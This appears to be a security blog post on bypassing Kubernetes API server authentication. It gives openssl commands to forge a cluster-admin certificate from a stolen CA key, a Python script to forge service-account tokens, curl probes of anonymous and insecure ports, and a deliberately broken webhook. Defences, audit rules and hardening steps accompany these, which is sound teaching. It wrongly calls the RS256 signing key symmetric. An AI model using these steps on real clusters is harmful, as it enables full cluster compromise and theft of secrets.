Kubernetes API Server Authentication Bypass: CVE-2023-XXXXX Analysis
Technical breakdown of API server authentication vulnerabilities and exploitation techniques
The Kubernetes API server is the control plane’s heart. Bypassing its authentication is equivalent to cluster-wide compromise.
Understanding API Server Authentication
Kubernetes supports multiple authentication methods:
- Client certificates - mTLS with cluster CA
- Bearer tokens - Service account tokens
- Basic auth - Username/password (deprecated)
- OIDC - External identity providers
- Webhook - Custom authentication
Each method has unique attack vectors.
Anonymous Authentication: The Default Footgun
By default, anonymous authentication is enabled (--anonymous-auth=true). This allows unauthenticated requests with the system:anonymous user identity.
Discovery
# Test anonymous access
curl -k https://api-server:6443/api/v1/namespaces
# If you get a response (even 403), anonymous auth is enabled
Exploitation via RBAC Misconfiguration
If anonymous users are granted permissions (accidental or intentional):
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: system:discovery
subjects:
- kind: User
name: system:anonymous # DANGEROUS
roleRef:
kind: ClusterRole
name: system:discovery
An attacker can now enumerate API resources without credentials.
Client Certificate Authentication Bypass
Attack: Certificate Forgery
If you can access the cluster CA private key (/etc/kubernetes/pki/ca.key):
# Generate malicious client cert
openssl genrsa -out admin.key 2048
openssl req -new -key admin.key -out admin.csr \
-subj "/CN=admin/O=system:masters"
openssl x509 -req -in admin.csr \
-CA /etc/kubernetes/pki/ca.crt \
-CAkey /etc/kubernetes/pki/ca.key \
-CAcreateserial -out admin.crt -days 365
# Now you're cluster-admin
kubectl --client-certificate=admin.crt \
--client-key=admin.key get secrets -A
Defense: Protect the CA Key
- Store CA key in HSM or KMS
- Use short-lived certificates
- Implement certificate rotation
- Monitor certificate issuance
Service Account Token Forgery
Prior to Kubernetes 1.21, service account tokens were JWT signed with a symmetric key stored in /etc/kubernetes/pki/sa.key.
If an attacker obtains this key:
import jwt
import datetime
# Forge token
payload = {
"iss": "kubernetes/serviceaccount",
"kubernetes.io/serviceaccount/namespace": "kube-system",
"kubernetes.io/serviceaccount/service-account.name": "admin",
"sub": "system:serviceaccount:kube-system:admin",
"exp": int((datetime.datetime.now() + datetime.timedelta(days=365)).timestamp())
}
# Sign with stolen key
with open('sa.key', 'r') as f:
private_key = f.read()
token = jwt.encode(payload, private_key, algorithm='RS256')
print(token)
Modern Protection: Bound Service Account Tokens
Kubernetes 1.21+ uses bound tokens with limited lifetime and audience binding:
apiVersion: v1
kind: Pod
spec:
serviceAccountName: my-sa
containers:
- name: app
volumeMounts:
- name: token
mountPath: /var/run/secrets/kubernetes.io/serviceaccount
volumes:
- name: token
projected:
sources:
- serviceAccountToken:
path: token
expirationSeconds: 3600
audience: api
Insecure Port (Historical)
Older clusters exposed an insecure port (8080) with no authentication:
# Complete cluster access
curl http://api-server:8080/api/v1/namespaces/default/pods
Always ensure --insecure-port=0 in production.
Webhook Authentication Bypass
Custom webhook authenticators can have logic bugs:
# Vulnerable webhook
def authenticate(request):
token = request.headers.get('Authorization')
if token and validate_token(token):
return {"authenticated": True}
# BUG: Falls through to default allow
return {"authenticated": True} # WRONG!
Detection and Monitoring
Audit Logs
Enable comprehensive API audit logging:
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
- level: RequestResponse
verbs: ["create", "update", "patch", "delete"]
- level: Metadata
verbs: ["get", "list", "watch"]
Alert on Suspicious Patterns
# Detect authentication failures
- name: Multiple Auth Failures
query: |
SELECT user, sourceIP, count(*) as failures
FROM k8s_audit_logs
WHERE responseStatus.code >= 401
GROUP BY user, sourceIP
HAVING failures > 10
Monitor Certificate Issuance
# Track new certificates
kubectl get certificatesigningrequests -w
Hardening Recommendations
- Disable anonymous auth -
--anonymous-auth=false - Use OIDC for users - Integrate with corporate IdP
- Rotate credentials - Automate certificate rotation
- Implement network policies - Restrict API server access
- Enable audit logging - Track all API calls
- Use admission webhooks - Validate requests before processing
- Regular security audits - Review RBAC and auth configs
The API server is your cluster’s crown jewel. Protect it accordingly.